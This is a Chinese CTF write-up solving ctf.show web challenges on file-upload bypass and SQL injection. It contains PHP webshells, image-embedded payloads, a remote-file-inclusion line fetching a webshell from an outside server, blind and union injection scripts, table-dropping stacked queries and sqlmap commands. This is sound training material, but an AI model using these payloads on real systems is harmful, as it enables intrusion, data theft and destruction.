<?= system("tac ../f*")?>

web158

同上

web159

多过滤了括号,``是shell_exec()函数的缩写。 用反引号 代替.

1
<?= `tac ../f*`?>

web160

过滤了反引号,而且还过滤了log,log可以通过”.”来拼接字符串得到,然后考虑日志包含,将日志包含语句写入png文件并上传,再通过.user.ini来包含该语句

1
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

web161

在web160的基础上多了对图片头的检测(GIF89a),其他按照web160的步骤来就可以了

1
2
GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

web162

开始上难度了,在原来的基础上过滤了.,也就是日志包含不能直接用来,同时上传的文件内容不能包含.

网上找了一下有两种方法,一种是session竞争,还有一种是远程文件包含

这里就用远程文件包含,在自己服务器上新建应该无后缀的文件(例如heytest),需要确保allow_url_include=On,内容写上一句话木马,确保外网可以访问

但由于ip是带点的,所以需要将其转化成数字来访问,以此绕过判断,在线ip转数字

然后上传.user.ini包含远程文件即可

1
2
GIF89a
auto_prepend_file=https://xxxxxxxxxx/heytest

session竞争:

利用条件:session文件路径已知,且其中内容部分可控。

1
2
GIF89a
auto_prepend_file="png"
1
2
GIF89a
<?=include"/tmp/sess_hey12"?>

然后抄一下yu22x师傅的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import threading
session=requests.session()
sess='hey12'
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
'file':'hey12'
}
cookies={
'PHPSESSID': sess
}

def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)

threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

web163

和162一样操作就可以了

web164

【文件上传绕过】——二次渲染漏洞_二次渲染绕过_剑客 getshell的博客-CSDN博客

png图片二次渲染绕过。 

在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。

将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
echo "执行成功!";

?>
1
2
get:&0=system
post:1=tac fl*

然后ctrl s保存图片,查看就能得到命令执行的结果

web165

jpg图片二次渲染绕过。

先上传一张正常的jpg上传上去,然后下载下来服务器返回的图片

使用如下脚本生成木马照片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<?php
$miniPayload = "<?php system('tac f*');?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

用法

1
php jpgexp.php 1.jpg

这里的jpgexp.php就是上面脚本的文件名

注意最后是保存下来它渲染后的图片才能查看到命令执行后的结果

web166

zip文件上传,在zip文件写上木马,再连接蚁剑

1
http://c2f42ffe-fafb-4d10-ae24-962cb7085cf0.challenge.ctf.show/upload/download.php?file=ecf03ed99d519b3c0055258bf106d3c2.zip

web167

上传.htaccess文件,再上传图片马,然后蚁剑连接

1
2
3
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
1
http://6cfb3a50-6ef4-46cf-a308-79e3148cc278.challenge.ctf.show/upload/1.jpg

web168

前端png校验

发现过滤了eval,和system,$_POST $_GET

下面挑一个写木马上传就行了(注意上传文件的位置是/upload/文件夹下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
脚本1:
<?=`$_REQUEST[1]`;?> //利用反引号执行系统命令

脚本2:
<?php
$a=$_REQUEST['a']; //$_REQUEST变量获得GET或POST的参数
$b=$_REQUEST['b'];
$a($b);
?>

//a=system&b=tac ../flagaa.php

脚本3:
<?php $a='syste'.'m';($a)('ls ../'); //拼接

//把ls ../换成tac ../flagaa.php即可找到flag

脚本4:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
//c相当于system,给1赋值参数即可

脚本5:
<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>

脚本6:
<?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>


脚本7:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
#数字函数 get传参 abs=system&acos=tac ../flagaa.php

web169

后端同时对文件内容进行过滤: < > ? 空格 $等等(没有亲自测过,看别人wp说的)

MIME限制image/png

前端校验zip

解法:结合.user.ini进行日志包含,UA头写一句话木马(但题目说的是高级免杀,应该是可以通过特殊的构造来绕过查杀的,以后尝试一下)

上传zip后缀文件,并修改MIME,在bp将文件名改为.user.ini

1
auto_append_file=/var/log/nginx/access.log

然后再用同样的方法上传一个php文件,用于回显日志

web170

同web169

sql注入

web171

查询语句已经给出来了

1
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

可以使用万能密码

1
1'or 1=1--+

或者用常规的注入手段

1
2
3
4
-1' union select 1,database(),3--+
-1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema='ctfshow_web' --+
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user'--+
-1' union select 1,group_concat(password),3 from ctfshow_web.ctfshow_user --+

web172

1
1' order by 1,2--+

这次回显位只有1、2,且flag在另一个表里

1
2
3
4
-1' union select 1,database()--+
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user2'--+
-1' union select 1,group_concat(password) from ctfshow_web.ctfshow_user2 --+

web173

多了个

1
2
3
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}

还得对得到的结果进行处理在输出出来

参考这个文章:MySQL 字符串函数参考 (sjkjc.com)

有挺多函数可以对字符串进行转换的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ASCII() 返回字符串str的最左面字符的ASCII代码值
ORD() 函数返回字符串参数中的第一个字符的字符代码,如果第一个字符是单字节字符, ORD () 函数返回字符的 ASCII 值;如果第一个字符是多字节字符,返回公式 第一个字节代码 + 第二个字节的代码 * 256 + 第三个字节的代码 * 256 * 256 的结果
TO_BASE64() 函数返回给定字符串以 base-64 形式编码后的字符串表示。
HEX() 函数返回给定数字或字符串的十六进制值的字符串表示
UNHEX() 函数将代表十六进制数值的字符串转换为字节,并返回对应的二进制字符串。
LCASE() 函数将字符串转为小写
LOWER() 函数将字符串转为小写
UCASE() 函数将字符串转为大写
UPPER() 函数将字符串转为大写。
OCT(number) 函数返回给定数字的八进制值的字符串表示
QUOTE() 函数返回一个用单引号包围的字符串
REVERSE() 函数返回反转后的字符串
SOUNDEX() 函数返回表示字符串发音的 soundex 字符串 详细见https://blog.csdn.net/acme_woo/article/details/5443781
SPACE() 函数返回由指定数量的空格组成的字符串,也就是返回指定数量的空格
BIN() 函数返回给定数字的二进制值的字符串表示

这里用TO_BASE64()

1
-1' union select 1,to_base64(password),3 from ctfshow_web.ctfshow_user3 --+

还有更简单的方法

1
-1' union select 1,password,3 from ctfshow_user3 --+

web174

1
2
3
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

将数字用replace替换掉

1
-1'+union+select+replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','_a_'),'1','_b_'),'2','_c_'),'3','_d_'),'4','_e_'),'5','_f_'),'6','_g_'),'7','_h_'),'8','_i_'),'9','_j_'),'aa'+from+ctfshow_user4+where+username='flag'--+
1
ctfshow{_i__d__d__i__d_e_h_d-_c__a__g__d_-_e_be_f_-_i_b_d_a-_f__i__h__b__j_ee_e__i__h__g_d}

再解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
en_s = "ctfshow{_i__d__d__i__d_e_h_d-_c__a__g__d_-_e_be_f_-_i_b_d_a-_f__i__h__b__j_ee_e__i__h__g_d}"
i=0
l=len(en_s)
new=''
while i<l:
if en_s[i]=='_':
j=i+3
de_s=chr(ord(en_s[i+1])-49)
new+=de_s
i=j
else:
new+=en_s[i]
i+=1
print(new)

胡思乱想:

-1’ union select replace(space(ascii(mid(password,1,1))),’ ‘,’a’),’a’ from ctfshow_user4 –+

这样可以通过数有多少个a,来将其数字通过ascii转化成字符,可得到对应位数的字符

理论上只要找到没被preg_match的字符,就能绕过它的输出检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def count_a_characters(input_string):
count = 0
for char in input_string:
if char == 'a':
count += 1
return count

# 在这里替换成你想要检查的字符串
input_str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

# 调用函数并输出结果
result = count_a_characters(input_str)
print(f"字符串中包含 {result} 个字符 'a'")

web175

1
2
3
4
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

必须非ASCII字符才能获得返回值

这里刚才我说的方法好像不行,即便是用“邪恶”的全角字符𝐚还是其他字符À (好像是因为它会把不支持的字符全变为?,所以它会输出99个问号,但问号也是ascii字符,所以无回显)

1
-1' union select replace(space(ascii(mid(password,1,1))),' ','𝐚'),'𝐚' from ctfshow_user5 --+

可以用写文件的方法

1
-1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

再访问1.txt

或者用盲注

web176

过滤了小写select,换大写就行了

1
-1' union SELECT 1,password,3 from ctfshow_user--+

或者用万能密码

web177

在上一题的基础上过滤了空格

/**/代替空格

1
-1'/**/union/**/SELECT/**/password,2,3/**/from/**/ctfshow_user%23

不能用--+了,因为+被解析成空格

web178

过滤了/**/,换%0a

1
-1'%0aunion%0aSELECT%0apassword,2,3%0afrom%0actfshow_user%23

web179

又被过滤,再换%0C

1
-1'%0Cunion%0CSELECT%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23

web180

%23给过滤掉了,可以用闭合号来注释掉后面的语句'1'='

1
-1'union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1

web181

1
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

and的优先级高于or,需要同时满足两边的条件才会返回true,那么后面可以接一个or,or的两边有一个为true,既可以满足and。即:1 and 0 or 1

可以使用括号代替空格

1
'or(username='flag')and'1'='1
1
-1'||username='flag

web182

1
2
3
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

可以用like搭配%来匹配

%:表示0个或多个任意字符

1
-1'||(username)like'%fla%

也可以用正则匹配regexp

1
-1'||(username)regexp'f

web183

1
2
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

用括号代替空格,用like代替等号,如果我们猜测的flag确实是真实flag的一部分就会返回user_count = 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url="http://b5843871-a72c-4b56-857c-ff1310ebfc19.chall.ctf.show/select-waf.php"

flag="ctfshow{"
for i in range(0,100):
for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
data={
'tableName':"(ctfshow_user)where(pass)like'{}%'".format(flag+j)
}
r=requests.post(url=url,data=data).text
if "$user_count = 1" in r:
flag+=j
print(flag)
if j=='}':
exit()
break

web184

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

having代替where,16进制绕过引号的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#author:yu22x
import requests
import string
url="http://e48a8069-93a1-4f54-92fd-98bf6d2f2e64.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"{_-}"
def asc2hex(s):
a1 = ''
a2 = ''
for i in s:
a1+=hex(ord(i))
a2 = a1.replace("0x","")
return a2
flag=''
for i in range(1,45):
print(i)
for j in s:
d = asc2hex(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp(0x{d})'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
break

web185

1
2
3
4
5
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

过滤了数字,16进制行不通了

可以使用true拼接出数字,再使用char函数转换成字符,最后使用concat进行拼接。比如想获取字符c,c的ascii为99,c就可以等于char(ture+ture+ture......) (99个true),原来这里的true也可以代表1,神奇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#author:yu22x
import requests
import string
url="http://800f8f44-55df-4724-b2c8-60421ee1f260.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"

flag=''
for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp({d})'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
if j=='}':
exit(0)
break

web186

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

做法同上

web187

1
2
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
1
2
3
4
5
6
7
8
9
10

$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}

当MD5函数的第二个参数为true时。返回的是字符串。

1
2
ffifdyop
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

md5('ffifdyop',true)= 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
会发现直接闭合掉了并且存在or,所以可以直接登录成功。
真是奇妙

web188

1
2
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

需要输入的密码经过intval函数后等于查询出的密码(弱等于==

mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,所以where username = 0会把所有数据都查出来

同样的只要真正的密码是字母我们就可以通过输入密码为0来绕过

所以账号密码都为0就可以了

web189

题目说了:flag在api/index.php文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

盲注读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time

url = "http://9cb4c9e3-266b-448b-9b17-b1ad6e41239b.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"

flag = ""
#这个位置,是群主耗费很长时间跑出来的位置~
for i in range(257,257+60):
for x in flagstr:
data={
"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
"password":"0"
}
print(data)
response = requests.post(url,data=data)
time.sleep(0.3)
# 8d25是username=1时的页面返回内容包含的,具体可以看上面的截图~
if response.text.find("8d25")>0:
print("++++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print(flag)

web190

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#author:yu22x
import requests
import string
url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
print(i)
for j in range(32,128):
#跑库名
# data={
# 'username':f"'||if(ascii(substr(database(),{i},1))={j},1,0)#",
# 'password':'1'
# }

#跑表名
# data={
# 'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
# 'password':'1'
# }

#跑列名
# data={
# 'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
# 'password':'1'
# }
#跑数据
data={
'username':f"'||if(ascii(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
'password':'1'
}
r=requests.post(url,data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
flag+=chr(j)
print(flag)
break

web191

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

将脚本里面的ascii改成ord即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#author:yu22x
import requests
import string
url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
print(i)
for j in range(32,128):
#跑库名
# data={
# 'username':f"'||if(ascii(substr(database(),{i},1))={j},1,0)#",
# 'password':'1'
# }

#跑表名
# data={
# 'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
# 'password':'1'
# }

#跑列名
# data={
# 'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
# 'password':'1'
# }
#跑数据
data={
'username':f"'||if(ord(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
'password':'1'
}
r=requests.post(url,data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
flag+=chr(j)
print(flag)
break

web192

1
2
3
4
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

直接不用ord了,改成跑字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#author:yu22x
import requests
import string
url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
print(i)
for j in range(32,128):

#跑表名
# data={
# 'username':f"'||if((substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))='{chr(j)}',1,0)#",
# 'password':'1'
# }

#跑列名
# data={
# 'username':f"'||if((substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{chr(j)}',1,0)#",
# 'password':'1'
# }
#跑数据
data={
'username':f"'||if((substr((select f1ag from ctfshow_fl0g),{i},1))='{chr(j)}',1,0)#",
'password':'1'
}
r=requests.post(url,data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
flag+=chr(j)
print(flag)
break

web193

mid代替substr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#author:yu22x
import requests
import string
url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
print(i)
for j in range(32,128):

#跑表名
# data={
# 'username':f"'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))='{chr(j)}',1,0)#",
# 'password':'1'
# }

#跑列名
# data={
# 'username':f"'||if((mid((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{chr(j)}',1,0)#",
# 'password':'1'
# }
#跑数据
data={
'username':f"'||if((mid((select f1ag from ctfshow_flxg),{i},1))='{chr(j)}',1,0)#",
'password':'1'
}
r=requests.post(url,data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
flag+=chr(j)
print(flag)
break

web194

同上

web195

考察堆叠注入

1
2
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
1
2
1;update(ctfshow_user)set`username`=1;
1;update(ctfshow_user)set`pass`=1;

再用1/1登录,注意注入点是在username上

web196

这后台是没有过滤select的

可以输入username为1;select(9),password为9。当$row获取到第二个查询语句select(9)的结果集时,即可获得$row[0]=9,那么password输入9就可以满足条件判断。

1
username=0;select(9);&password=9

或者

1
username=0;select(9)

web197

过滤了select

根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。

1
2
用户名:1;show table
密码:ctfshow_user

或者删表,重新建一个同样表名的表,自己设定账号密码

1
0;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`) value(1,1)

web198

同上

web199

同上

web200

同上

web201

终于来到了我最喜欢的脚本小子环节,sqlmap启动!

  • 使用–user-agent 指定agent

  • 使用–referer 绕过referer检查

1
sqlmap -u "http://f664eb27-796d-4e18-8bd3-4862bd212ee2.challenge.ctf.show/api/index.php?id=1" -D ctfshow_web -T ctfshow_user -C pass -dump --refer="http://f664eb27-796d-4e18-8bd3-4862bd212ee2.challenge.ctf.show/sqlmap.php"

可以加个--batch默认帮你选择Y/N

web202

  • 使用–data 调整sqlmap的请求方式
1
2
3
4
POST型表单注入的三种参数
1--data
2:-r
3--forms
1
sqlmap -u "http://4d517dd8-3ef0-48f7-904e-0a86d4f075ac.challenge.ctf.show/api/index.php" -data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer="http://4d517dd8-3ef0-48f7-904e-0a86d4f075ac.challenge.ctf.show/sqlmap.php"

web203

  • 使用–method 调整sqlmap的请求方式
1
--method=请求方式
1
sqlmap -u "http://b7e72114-18e9-4c2b-9927-826055d0c9ee.challenge.ctf.show/api/index.php"   --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer="http://b7e72114-18e9-4c2b-9927-826055d0c9ee.challenge.ctf.show/sqlmap.php" --headers="Content-Type: text/plain"

–headers=headers额外的headers(例如,“Accept Language:fr\nETag:123”)

web204

  • 使用–cookie 提交cookie数据

在控制台查看cookie

1
sqlmap -u "http://1d1128b4-cdc0-4b9b-bdf9-1bda56053e44.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --cookie "PHPSESSID=nonfr3ujausg4k7h9s920otkvt; ctfshow=554588b21d2f8205db5f1e69b840deb3"

web205

api调用需要鉴权

1
2
3
4
5
--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数

sqlmap -u "http://8712145e-f08c-4eab-a114-61804e9f2436.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flax -C flagx --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://8712145e-f08c-4eab-a114-61804e9f2436.challenge.ctf.show/api/getToken.php --safe-freq 1

web206

